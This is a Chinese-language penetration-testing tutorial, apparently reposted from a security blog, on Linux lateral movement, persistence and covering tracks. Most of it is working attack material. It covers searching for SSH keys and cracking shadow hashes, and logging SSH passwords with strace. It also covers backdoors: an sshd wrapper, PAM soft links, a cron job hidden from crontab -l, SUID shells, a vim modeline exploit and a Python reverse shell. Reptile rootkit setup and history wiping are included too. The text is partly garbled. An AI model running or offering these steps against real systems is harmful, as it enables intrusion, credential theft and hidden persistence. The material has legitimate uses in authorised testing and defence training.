详尽见《代办署理、转发及隧道隐躲》文章
Linux横向挪动
主机存活探测
shell
1fori in192.168.111.{1..254}; doifping -c 3 -w 3 $i/dev/null; thenecho$iis alived; fi; done
2或者
3fork in$( seq 1 255); doping -c 1 192.168.1. $k|grep "ttl"|awk -F "[ :]+"'{print $4}'; done
arpscan
1gitclone
2make
3chmod +x arpscan
4./arpscan
nbtscan Linux版
1wget
2tar -xzvf nbtscan-source- 1. 0. 35.tgz
3make
4
5nbtscan -h
端口扫描
就一般端口扫描,没什么好说的。针对高危端口,根据渗入测试流程停止渗入,那里就不详细展开了。
常用好比Ladon、fscan等等
SSH横向
那个是Linux横向的重点,获取linux账号的明文密码感化很大,因为内网情况治理员可能就那么几个,差别办事器所设置的密码也有可能不异。
SSH私钥泄露
不领会SSH私钥登录的能够看那篇文章
一般情状下SSH密钥存放在~/.ssh/目次下:
1id_rsa为私钥, id_rsa.pub为公钥
搜刮包罗SSH密钥的文件:(下面号令不包罗隐躲文件,也就是类似.ssh目次下的搜刮不到)
1grep -ir " BEGINDSA PRIVATEKEY" /home/*
2grep -ir " BEGINDSA PRIVATEKEY" /*
3
4grep -ir " BEGINRSA PRIVATEKEY" /home/*
5grep -ir " BEGINRSA PRIVATEKEY" /*
6
7grep -ir " BEGINOPENSSH PRIVATEKEY" /home/*
8grep -ir " BEGINOPENSSH PRIVATEKEY" /*
9
假设找到密钥,则需要确定该密钥用于哪个办事器,存眷一下几个文件:
1/etc/hosts
2/etc/ssh/ssh_config
3~/.known_hosts
4~/.bash_history
5~/.ssh/ config
known_hosts文件用于验证长途登岸系统的身份。ssh能够主动将密钥添加到用户文件,也能够手动添加。该文件包罗用户已毗连过所有主机的长途机器ip、长途机器公钥。一般,初度登岸,ssh会主动将长途主机的公钥添加到用户的known_hosts文件。known_hosts格局有两种,取决于你的~/.ssh/config文件中的HashKnownHosts字段的设置,有可能是明文也有可能是一段哈希字符串。假设没有~/.ssh/config文件,那取决于/etc/ssh/ssh_config 文件中的该字段。
修改 /etc/ssh/ssh_config 文件,
HashKnownHosts no
HashKnownHosts yes
通过密钥停止登录,
利用linux机器登录,用-i指定密钥文件的途径
假设要在Windows上利用的话,例如putty:
利用 WinSCP、SFTP 等东西将私钥文件 id_rsa 下载到客户端机器上。然后翻开 PuTTYGen,单击 Actions 中的 Load 按钮,载进你适才下载到的私钥文件。假设你设置了密钥锁码,那时则需要输进。
载进胜利后,PuTTYGen 会展现密钥相关的信息。在 Key comment 中键进对密钥的阐明信息,然后单击 Save private key 按钮即可将私钥文件存放为 PuTTY 能利用的格局。
此后,当你利用 PuTTY 登录时,能够在左侧的 Connection - SSH - Auth 中的 Private key file for authentication: 处抉择你的私钥文件,然后即可登录了,过程中只需输进密钥锁码即可。
破解SSH密钥
假设发现的 SSH 密钥利用密码加密,则能够在当地破解(更快),能够利用John the Ripper或者hashcat(假设能够拜候 GPU,则应操纵 hashcat 来缩短破解时间)。
John the Ripper 有一个函数能够将他的密钥转换为一个名为 john2hash.py 的哈希值,而且预先安拆在 Kali 上:
1转换哈希:
2python /usr/share/john/ssh2john.py id_rsa id_rsa.hash-john
3利用综合密码字典爆破:
4john --wordlist= /usr/share/wordlists/password.txt id_rsa.hash-john
SSH密码爆破
SSH密码加密存储在/etc/shadow文件中,能够利用john the raper或者hashcat等东西测验考试爆破。
shadow文件介绍:
样例:
1root:$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a 0. g92kCstOP1:17938:0:99999:7:::
1以冒号分隔:
21.第一个字段是用户名
32.第二字字段是加密的密码,假设是X 则代表不克不及登录系统
43.前次修改口令的时间
54.两次修改口令的最短间隔的天数
65.两次修改口令的最长的间隔天数
76.设置提早几天告警用户口令将过时
87.口令过时后几天制止此用户
98.用户过时日期
109.保留字段
11
12$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1
13再来阐明一下$朋分的各个部门的含义:
14密钥加密体例有5种:
15$1表达MD5加密算法
16$2表达利用blowfish 加密算法
17$5表达 SHA-256加密算法
18$6表达SHA-512加密算法(如上)
19其他 原则的DES
20
21qvhlqI7I:盐值
22//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1 : hash值
John the rapper破解:
1cp /etc/shadow shadow.txt //间接保留shadow文件
2unshadow /etc/passwd /etc/shadow shadow.txt //假设有unshadow的话,也能够把那两个文件整合
3
4john --wordlist=pass.txt shadow.txt //操纵字典停止破解
5john --show shadow.txt //查看破解信息
hashcat破解(大字典选举利用hashcat):
hashcat的利用能够看那篇文章
将/etc/shadow文件,提取密码字段保留hash.txt
1$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a 0.g92kCstOP1
1hashcat-m1800 -a0 -oresult.txthash.txtpass.txt--force
2
3-m是指定那种加密类型,1800是 SHA-512( Unix)的代号,详细– help来查看;
4-a是指定进攻形式,0代表 Straight形式,利用字典停止破解测验考试;
5-o是破解出来的信息输出成果文件,输出到 found.txt文件中;
6hash.txt是我们上面保留的加密密码文件;
7pass.txt是我们的爆破密码,越大越精越好;
8--force漠视破解过程中的警告信息,跑单条 hash可能需要加上此选项
也能够利用hashcat hash --show来展现成果
SSH Keylogger笔录密码
操纵strace系统调试东西获取ssh的读写毗连的数据,以到达挠取治理员登岸其他机器的明文密码的感化。
在当前用户的.bashrc里新建一条alias,如许能够挠取他登岸其他机器的ssh密码。
1//在当前用户的shell情况中定义一个别号
2vi ~/.bashrc
3
4//在最初一行插进
5aliasssh= 'strace -o /tmp/.sshpwd-`date '+%d%h%m%s '`.log -e read,write,connect -s2048 ssh'
6
7//刷新当前的shell情况
8source ~/.bashrc
设置完毕后,假使当前系统不存在alias,那么就会影响其一般利用。
设置完毕后,利用SSH登录其他机器:
然后,查看/tmp/.sshpwd-xxxxx文件即可找到密码:
strace监听ssh来源流量
刚刚利用别号的体例来挠取登岸其他机器时的密码,同样也能够操纵strace来监听登岸当地的sshd流量,挠到他人连进的密码。
利用场景如:通过破绽获取root权限,但是不晓得明文密码。
1ps -ef | grepsshd //父历程PID
2
3//运行
4strace -f -p 811-o /tmp/.ssh.log -e trace= read, write, connect- s2048
5//或者后台 运行
6nohup strace -f -p 811-o /tmp/.ssh.log -e trace= read, write, connect- s2048
Linux权限庇护
隐躲
0x01 隐躲文件
Linux 下创建一个隐躲文件:touch .test.txt
touch 号令能够创建一个文件,文件名前面加一个 点 就代表是隐躲文件,如下图
一般的Linux下的隐躲目次利用号令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐躲文件需要用到号令:ls -al
linux中每个目次下其实都有.和..、别离代指的是当前目次和上级目次。 成立...文件也是一个比力好的隐躲办法“
成立参数稠浊拦截rm文件
1echo'test' -- //创建--文件,需要用绝对途径才气读取和删除
rm -rf -- 号令施行了,文件没删除,号令也没有报错,能够误导治理员。
想要删除的话,利用rm -rf '/root/--'
别的,我们能够看到在/tmp下,默认存在多个隐躲目次,那些目次是歹意文件常用来躲身的处所。如/tmp/.font-unix/、/tmp/.ICE-unix/、/tmp/.Test-unix/、/tmp/.X11-unix/、/tmp/.XIM-unix/
0x02 隐躲文件时间戳
Linux下躲后门必需要修改时间,不然很随便被发现,间接操纵 touch 就能够了。
操纵办法
好比参考 index.php 的时间,再赋给 webshell.php,成果两个文件的时间就一样了。
1touch-rindex.phpwebshell.php
或者间接将时间戳修改成某年某月某日。如下 2022年 02 月 01 日8时10分30秒。
1touch -t 2202010810.30 webshell.php
2
3touch -t 2202010810.30 webshell.php -c
4//-t STAMP use[[CC]YY]MMDDhhmm[.ss] instead ofcurrenttime
5//-c 不创建文件
0x03 隐躲权限
在Linux中,利用chattr号令来避免root和其他治理用户误删除和修改重要文件及目次,此权限用ls -l是查看不出来的,从而到达隐躲权限的目标。
那个身手常被用在后门,酿成了一些难以肃清的后门文件。
1chattr+i evil.php #锁定文件
2rm -rf evil.php #提醒制止删除
3
4lsattr evil.php #属性查看
5chattr -i evil.php #去除锁定
6rm -rf evil.php #彻底删除文件
0x04 隐躲汗青操做
无痕形式
拿到shell以后,起头无痕形式,禁用号令汗青笔录功用。
1[ space] set+o history
2备注:[ space] 表达空格。而且因为空格的缘故,该号令自己也不会被笔录。
在那号令之后你施行的所有操做都不会笔录到汗青中,然而那个号令之前的所有工具城市原样笔录在汗青列表中。
要从头开启汗青功用,施行下面的号令:
1[Space] set-o history
2它将情况恢复原状,也就是你完成了你的工做,施行上述号令之后的号令城市呈现在汗青中。
删除指定汗青号令
history展现内存和~/.bash_history中的所有内容;
内存中的内容并没有立即写进~/.bash_history,只要当当前shell封闭时才会将内存内容写进shell
删除单条号令:
1history-d [num]
删除多条号令:
1sed-i "100, $d" .bash_history //删除 100行以后的操做号令
0x05 隐躲端口
通过端口复用来到达隐躲端口的目标。那里以隐躲SSH端口,通过SSH停止长途登录为例。
办法1、通过SSLH让 共享统一个端口
详尽办法参考:SSLH:让 )
那里以kali为例简单演示:
下载SSLH:
1sudo apt- getinstall sslh
设置装备摆设SSLH:
1sudo vi /etc/default/sslh
2修改为:
3DAEMON_OPTS= "--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
启动SSLH:
1$sudo systemctl enablesslh
2$sudo systemctl start sslh
测试,查抄 SSLH 守护法式能否正在监听 443。
操纵:
如今,你能够利用端口 443 通过 SSH 拜候长途办事器:
办法2、操纵IPTables停止端口复用
目标机器设置装备摆设:
1# 端口复用链
2iptables -t nat -N LETMEIN
3# 端口复用规则
4iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
5# 开启开关
6iptables -A INPUT -p tcp -m string-- string'threathuntercoming'--algo bm -m recent -- set--name letmein --rsource -j ACCEPT
7# 封闭开关
8iptables -A INPUT -p tcp -m string-- string'threathunterleaving'--algo bm -m recent --name letmein -- remove-j ACCEPT
9# let's do it
10iptables -t nat -A PREROUTING -p tcp --dport 80--syn -m recent --rcheck --seconds 3600--name letmein --rsource -j LETMEIN
进攻机运行:
1#开启复用
2echothreathuntercoming | socat - tcp: 192.168.111.133:80
3#ssh利用80端口停止登录
4ssh -p 80root@ 192.168.111.133
5#封闭复用
6echo threathunterleaving | socat - tcp: 192.168.111.133:80
测试完毕后,在目标机删除iptables规则:
1iptables -L -n --line-number //iptables -L -n --line-number
2iptables -D INPUT 3//删除INPUT的第三条已添加规则,那里3代表第几行规则
0x06 隐躲历程
治理员无法通过相关号令东西查找到你运行的历程,从而到达隐躲目标,实现历程隐躲。
libprocesshider :
linux-inject:
后门
SSH后门
SSH软毗连
前提:
容许PAM认证(默认):
1cat/etc/ssh/sshd_config
原理:
在sshd办事设置装备摆设运行PAM认证的前提下,PAM设置装备摆设文件中掌握标记为sufficient时只要pam_rootok模块检测uid为0(root)即可胜利认证登岸
操纵:
可用的软毗连名称:
1find/etc/pam.d |xargs grep "pam_rootok"
上面su、chfn、chsh等那几个名称都能够,下面以su为例:
通过软毗连成立后门:
1ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort= 4444
施行完之后,任何一台机器ssh root@IP -p 4444,输进肆意密码,胜利登录:
长处:
可以绕过一些收集设备的平安流量监测,但是当地在查看监听端口时会表露端口,定见设置成8081,8080等端口。
删除软毗连后门:
1rm-rf 【软毗连地址】
SSH Wrapper
原理:
init 起首启动的是 /usr/sbin/sshd ,脚本施行到 getpeername 那里的时候,正则婚配会失败,于是施行下一句,启动 /usr/bin/sshd ,那是原始 sshd 。原始的 sshd 监听端口成立了 tcp 毗连后,会 fork 一个子历程处置详细工做。那个子历程,没有什么查验,而是间接施行系统默认的位置的 /usr/sbin/sshd ,如许子掌握权又回到脚本了。此时子历程原则输进输出已被重定向到套接字, getpeername 能实的获取到客户端的 TCP 源端口,假设是指定端口, 就施行sh给个shell。
操纵:
目标机:
1cd/usr/sbin/
2mv sshd ../bin/
3
4echo'#!/usr/bin/perl'sshd
5echo'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);'sshd //4A是13377的小端形式
6echo'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,'sshd
7chmod u+x sshd
8
9/etc/init.d/sshd restart
进攻机:
1socat STDIO TCP4:target_ip:22,sourceport= 13377
2
3#假设你想修改源端口,能够用python的struct原则库实现。此中x00x00LF是19526的大端形式,便于传输和处置。
4 import struct
5 buffer = struct.pack( 'I6', 19526)
6 print repr(buffer)
7'\x00\x00LF'
8 buffer = struct.pack( 'I6', 13377)
9 print buffer
104A
长处:
1、在无毗连后门的情状下,治理员是看不到端口和历程的,last也查不到登岸。
2、在针对鸿沟设备出网,内网linux办事器未出网的情状下,留那个后门能够随时治理内网linux办事器,还不会留下文件和歹意收集毗连笔录。
SSH公钥免密登录
那种用法不但是用在留后门,还能够在一些特殊情状下获取一个交互的shell,好比redis未受权写进公钥。
但是那个办法好比随便被发现
进攻机生成公私钥对:
1ssh-keygen -t rsa
再把公钥id_rsa.pub发送到目标上,逃到到authorized_keys文件中:
1echo id_rsa.pub .ssh/authorized_keys / /将id_rsa.pub内容放到目标.ssh/authorized_keys里
同时付与权限,但是权限不克不及过大:
1chmod600~ /.ssh/authorized_keys
2chmod700~ /.ssh
3
然后,ssh在开启密钥登录功用的前提下,进攻机即可免密登录。
添加用户、隐身登录
添加的用户很随便被发现,不常用。
一句话添加通俗用户:
1# 创建一个用户名guest,密码123456的通俗用户
2useradd -p `openssl passwd -1 -salt 'salt'123456` guest
3
4# useradd -p 办法 ` ` 是用来存放可施行的系统号令,"$"也能够存放号令施行语句
5useradd -p " $(openssl passwd -1 123456)" guest
6
7# chpasswd办法
8useradd guest; echo'guest:123456'|chpasswd
9
10# echo -e办法
11useradd test; echo-e "123456\n123456\n"|passwd test
一句话添加root用户:
1# 创建一个用户名guest,密码123456的root用户
2useradd -p `openssl passwd -1 -salt 'salt'123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/ test
隐身登录:
隐身登录系统,不会被last、who、w等指令检测到
1ssh -T username@host /bin/bash -i
2
3ssh -o UserKnownHostsFile=/dev/ null-T user@host
4/bin/bash - if
SUID后门
在介绍linux提权的时候,曾说过SUID
什么是suid?suid全称是Set owner User ID up on execution。那是Linux给可施行文件的一个属性——s标记。通俗的理解为其他用户施行那个法式的时候能够用该法式所有者/组的权限。需要重视的是,只要法式的所有者是0号或其他super user,同时拥有suid权限,才能够提权。
创建一个suid权限的文件:
1cp /bin/bash /tmp/.woot
2chmod u+s /tmp/.woot
3ls -al /tmp/.woot
利用通俗用户运行就可获得root权限:
1/tmp/.woot
2/tmp/.woot -p //bash2 针对 suid 有一些护卫的办法,需要利用-p参数来获取一个root shell
Cron后门
在Linux系统中,方案使命一般是由cron承担,我们能够把cron设置为开机时主动启动。cron启动后,它会读取它的所有设置装备摆设文件(全局性设置装备摆设文件/etc/crontab,以及每个用户的方案使命设置装备摆设文件),然后cron会根据号令和施行时间来定时来挪用工做使命。
cron表达式在线生成:/
crontab -e 设置按时使命
1#每一分钟施行一次
2*/1 ** ** /bin/bash /root/test.sh
3
4或者间接施行反弹shell
5*/1 ** ** /bin/bash -c "/bin/sh -i /dev/tcp/192.168.111.253/8877 01"
test.sh:
1#!/bin/bash
2bash -i /dev/tcp/192.168.111.253/8899 01
chmod +sx test.sh
crontab -l 查看按时使命:
重启crond办事,service crond restart,然后就能够用nc领受shell:
如上体例,治理员施行crontab -l就能看到施行的号令内容不是特殊隐蔽。
利用如下号令设置方案使命,crontab -l施行后会展现"no crontab for root",就到达了一个简单的隐躲效果:
1(printf " */1 ** ** /bin/bash /root/test.sh;\rno crontab for `whoami`%100c\n")|crontab -
\r招致展现截断,使得后面的内容逐个字符笼盖前面的字符;
100%c 的感化是格局化输出一个字符,前面99个空格补齐。
现实上是他将 cron 文件写到文件中,而 crontab -l 就是列出了该文件的内容:
1/ var/spool/cron/crontabs/root
凡是 cat 是看不到那个的,只能操纵 less、vim 或者 cat -A 看到,那也是操纵了cat的一个缺陷
cat默认利用是撑持一些好比 \r 回车符 \n 换行符 \f 换页符、也就是那些符号招致的可以隐躲号令。
VIM后门
该破绽存在于编纂器的 modeline功用,部门 Linux 发行版默认启用了该功用。 当 vim 翻开一个包罗了 vim modeline 正文行的文件时,会主动读取那一行的参数设置装备摆设并调整本身的设置到那个设置装备摆设。
vim默认封闭modeline。
受影响版本:Vim 8.1.1365, Neovim 0.3.6
利用:
起首在开启modeline:
1vim ~/.vimrc
2setmodeline
然后我们创建个文件测试一下:
1echo':!uname -a|| " vi:fen:fdm=expr:fde=assert_fails("source\!\ \% "):fdl=0:fdt="' test.txt
1vimtest.txt
能够看到胜利施行了uname -a号令
如今我们创建反弹shell的文件:
shell.txt
1:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f| /bin/sh -i 2 1|nc 192.168.111.2538888 /tmp/f|| " vi:fen:fdm=expr:fde=assert_fails("source\!\ \% "):fdl=0:fdt="
2
3or
4
5:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i /dev/tcp/ 192.168.111.253/ 88880 1 /tmp/f|| " vi:fen:fdm=expr:fde=assert_fails("source\!\ \% "):fdl=0:fdt="
vim python 扩展后门
适用于安拆了vim且安拆了python扩展(绝大版本默认安拆)的linux系统
vim --version能够看到vim撑持python3
构造一个反弹shell脚本
test.py
1import socket,subprocess,os
2
3s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
4s.connect(( "192.168.111.253",8888))
5os.dup2(s.fileno,0)
6os.dup2(s.fileno,1)
7os.dup2(s.fileno,2)
8p=subprocess.call([ "/bin/sh", "-i"])
施行
1vim-E -c "py3file test.py"
施行完之后号令行界面就会一片空白如下图所示,属一般现象,此时封闭号令行界面,也不会影响已经反弹回往的shell
领受到的shell:
此时能够看到可疑的 vim 毗连
但是如许的后门太明显了,并且 vim -E -c “py3file test.py” 号令施行之后,还会有一个空白窗口。
我们需要隐躲一下:
从以下两点动身:
1、
1(nohup vim -E -c "py3file test.py" /dev/ null2 1)
2
3#将nohup的施行成果输出到/dev/null中
4#此中/dev/null在linux中代表空设备,成果输出到空设备也就是丢弃nohup的施行成果。
5#“2”在linux中代表错误输出,“1”在linux中代表原则输出,在此处也就是nohup的输出。21表达将错误输出绑定到原则输出上,在此处也就是将错误输出同样输出到空设备上不停止展现。如许,无论nohup施行成果能否准确,都不会有输出。
2、既然是后门,那么就不克不及留下本身创建的文件,能够将删除号令间接拼接到号令上
因为我们最末的施行号令为:
1(nohup vim -E -c "py3file test.py" /dev/null2 1) sleep 2 rm -f test.py
PAM后门
PAM (Pluggable Authentication Modules )是由Sun提出的一种认证机造。它通过供给一些动态链接库和一套同一的API,将系统供给的办事和该办事的认证体例分隔,使得系统治理员能够乖巧地根据需要给差别的办事设置装备摆设差别的认证体例而无需更改办事法式,同时也便于向系统中添加新的认证手段。
操纵脚本:
1
inetd后门
inetd是一个监听外部收集恳求(就是一个socket)的系统守护历程,默认情状下为13端口。当inetd领受到一个外部恳求后,它会根据那个恳求到本身的设置装备摆设文件中往找到现实处置它的法式,然后再把领受到的那个socket交给阿谁法式往处置。
假设来自外部的某个socket是要施行一个可交互的shell (好比,我们已经在目标系统的inetd设置装备摆设文件中事先定义好),那就相当于一个简易的bind型后门
安拆:
1apt- getinstall openbsd-inetd
操纵:
1#修改/etc/inetd.conf
2$vim/etc/inetd.conf
3
4#discard stream tcp nowait root internal
5#discard dgram udp wait root internal
6daytime stream tcp nowait root /bin/bash bash -i # 当外部恳求名为daytime的办事时就弹shell
1#开启inetd
2$inetd
利用nc毗连
1nc-vv192 .168.111.13213
进阶:
能够把daytime换成其他办事,办事和端口的对应关系在/etc/services文件查看,我们能够抉择现有的,也能够本身添加一个:
然后修改/etc/inetd.conf
nc毗连8881端口接口即可获得shell:
检测:
查看设置装备摆设文件即可
1cat/etc/inetd.conf
ICMP后门
操纵ICMP中可控的data字段停止数据传输
项目地址:
1
利用:
起首编译.c文件【详细要求能够看项目里的介绍】
1Linux 64bit:
2apt-get installlibc6-dev-amd64
3gcc -DDETACH -m64 -Wall -s -o prism prism.c
4
5Linux 32bit:
6apt- getinstalllibc6-dev-i386
7gcc -DDETACH -m32 -Wall -s -o prism prism.c
运行:
1./prism Inf0
2./sendPacket.py 192.168.111.132 p4ssw0rd 192.168.111.253 8888
3
4#192.168.111.132 is the victim machine running prism backdoor
5#p4ssw0rd is the key
6#192.168.111.253 is the attacker machine address
7#8888 is the attacker machine port
DNS后门
在大大都的收集里情况中IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量。次要原理就是将后门载荷隐躲在拥有PTR笔录和A笔录的DNS域中。
一些项目:
1
2
3
历程注进
历程注进类后门一般都需要一个 ptrace 库,ptrace 库用来调试历程,根本 linux 系统都自带此库。
历程注进东西良多
1
2/
3
【false】Cymothoa
cymothoa 是一个后门东西,操纵代码 shellcode 会被注进到历程中,只要历程存在,后门就会有效,所以一般抉择一些自启办事的历程来注进,例如 web 办事 mysql,apache 等。其后门所拥有的权限和注进的历程权限是不异的。当拿下目标 shell 后就能够利用 cymothoa 添加后门了。
利用:
下载,进进Cymothoa,运行
1./cymothoa -S #列出可用的shellcode
那里我们就用序号 1 那个 payload,通过端口来反向 shell。利用-p参数,用来指定需要注进的历程的 pid, - s,用来指定利用 shellcode 的序号,-y用来指定反向 shell 的端口,即他人毗连本身时需要毗连的端口。运行后当呈现 infected 即传染的意思则代表后门注进胜利。
没胜利,先没管了。。。
Vegile
Vegile是一个用来隐躲本身的历程的东西,即便历程被杀,又会从头启动。总会有一个历程会运行另一个历程,所以我们能够假设那个历程是不成阻挠的。
attack机器
先生成个后门:
1msfvenom-a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=IP LPORT=PORT -b "\x00"-f elf -o NAME_BACKDOOR
利用肆意一种体例传到victim机器。
利用msf监听:
victim机器
1git clone
2cdVegile
3chmod +x Vegile
-i是历程注进的体例
-u是历程被杀还能够陆续反弹shell
运行
1./Vegile --i test
--u也类似,就不演示了。
Tiny shell
Tiny Shell 是一款开源的Unix类后门shell东西,由C语言编写,体积小,通信加密,分为客户端和办事端,撑持正向毗连和反弹毗连形式
1
利用:
正向:
起首翻开tsh.h设置密码(用户加密客户端与办事端的通信数据);
修改SERVER_PORT值(后门运行后监听的端口);
修改FAKE_PROC_NAME值(用于假装展现后门运行后的历程名字);
正文掉CONNECT_BACK*两行代码(那两行代码用户反向形式);
那里因为演示就简单改一下,修改后如下所示:
编译:
1makelinux
2
3#撑持多种系统 linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf
编译完成后生成tsh(客户端)、tshd(办事端)两个文件:
办事端施行:
1umask077; HOME=/var/tmp ./tshd
2
3./tshd
客户端:(除了获取shell之外,还能够施行单条号令、传输文件)
1./tsh 192.168.111.132
2
3#./tsh victim_ip
注: 办事端运行后,其父历程PID是1,也就是说那个历程是守护历程除非重启系统,或者手动封闭,不然不断存在(当然你也能够加进启动项,或者加进使命方案中)
反向:
编译前的预备工做和 编译正向形式类似,不外 需要将CONNECT_BACK*两行往掉正文,即往掉//,并将ip改为客户端的ip,延时也可恰当修改:
编译:
1makelinux
办事端运行
1umask077; HOME=/var/tmp ./tshd
2./tshd
客户端运行:
1./tsh cb #cb表达反向形式
注:那里只是简单演示,在现实利用中还能够停止各类哄骗性假装,改进程名、移到哄骗性目次等等。
自启动
1chmod +x /etc/rc.d/rc. local
2vi /etc/rc.d/rc. local
在此文件中添加需要开机施行的脚本的绝对途径,如
1/usr/ local/shell/crontab.sh
保留退出,即可生效。
设置按时使命后,系统重启后会主动按时施行,不需要再设置开机自启,假设发现有中断的情状,考虑crond办事的启动情状。
Rootkit
rootkit是进攻者向计算机系统中植进的,可以隐躲本身踪迹并保留root权限的歹意法式。rootkit基于进攻者已经拿到root权限之后对系统停止毁坏。rootkit会尽可能通过隐躲文件、历程、模块、历程等信息制止被监控法式检测。
那个项目列出了良多好用的rootkit,感兴致的能够往看看。
那里只演示一下Reptile的利用。
Reptile 是种 LKM(Loadable Kernel Modules) rootkit,因而具有很好的隐躲性和强大的功用。
安拆:
1apt-get installvim gcc make g++ unzip -y
2apt- get-y installlinux-headers-$(uname -r)
3
4git clone
5./setup.sh install#全主动化安拆,安拆后也会全主动删除,要重视需要交互式shell
安拆过程会有如下选项:
Hide name (will be used to hide dirs/files) (default: reptile): 会被隐躲的文件或文件名
Auth token to magic packets (default: hax0r):毗连后门时的认证
tokenBackdoor password (default: s3cr3t):后门密码
Tag name that hide file contents (default: reptile):标签名,在该标签中的内容城市被隐躲
Source port of magic packets (default: 666): 源端口默认即可
Would you like to config reverse shell each X time? (y/n) (default: n): 能否每隔一段时间弹 shell ,那个功用很强,隐躲+开机自启动,假设对方提防意识不高,能够利用那个。
Reverse IP : 掌握端ip
Reverse Port: 掌握端端口
would you like to config reverse shell each x time(default:1800) :您期看每隔x时间回连一次
安拆胜利,而且能够删除当地文件夹:
看看rootkit效果:
隐躲目次:
1名称中包罗的所有文件和文件夹都reptile将被隐躲。您能够在安拆之前停止设置装备摆设。
2以下号令隐躲/取缔隐躲文件、文件夹、历程和内核模块自己:
3隐躲:/reptile/reptile_cmd hide
4取缔隐躲:/reptile/reptile_cmd show
隐躲历程:
1隐躲历程:/reptile/reptile_cmd hide pid
2取缔隐躲历程:/reptile/reptile_cmd show pid
隐躲TCP/UDP毗连:
1隐躲:/reptile/reptile_cmd conn IP hide
2取缔隐躲:/reptile/reptile_cmd conn IP show
3
4重视:默认情状下,TCP 和 UDP 隐躲功用隐躲到 IP 的所有毗连
掌握端:
安拆:
1#起首安拆依靠
2apt installlibreadline-dev #Debian
3yum installreadline-devel #RHEL
4
5安拆施行 ./setup client
进进bin目次,施行./client即可启动
那个后门的运做逻辑是用肆意机器(一般都是掌握机)的特定端口(设置装备摆设目标机器的时候666阿谁srcport参数)给目标 肆意端口发送一段数据。然后目标机器承受到那个数据,再根据设置装备摆设的里面回连。
掌握端根据受控端的设置装备摆设,停止设置:
设置完之后,施行run,期待一会就会收到目标机器的毗连,进进掌握界面
目标重启之后仍然能够领受到后门。
更多利用,参考官方wiki
Linux陈迹清理
在进攻完毕后,若何不留陈迹的肃清日记和操做笔录,以掩盖进侵踪迹,那其实是一个详尽的手艺活。你所做的每一个操做,都要被抹掉;你所上传的东西,都应该被平安地删掉。
Linux陈迹清理办法见
参考
1
2
3
4
5/
6
7
8第 3篇:Linux权限庇护--隐躲篇 · 应急响应实战条记 (bypass007.github.io)
9f0rb1dd3n/Reptile: LKM Linux rootkit( github.com)
10Metarget/k0otkit: k0otkit isa universal post-penetration technique which could be used inpenetrations against Kubernetes clusters. ( github.com)
11
12
13
14
END
文:Yokan
版权声明:著做权回做者所有。若有侵权请联络删除
开源聚合网安操练营
情况搭建
Python
学员专辑
信息搜集
CNVD
平安求职
渗入实战
CVE
高薪揭秘
渗入测试东西
收集平安行业
神异大礼包
根底教程
我们贴心备至
用户答疑
QQ在线客服
加进社群
QQ+微信等着你
我就晓得你“在看”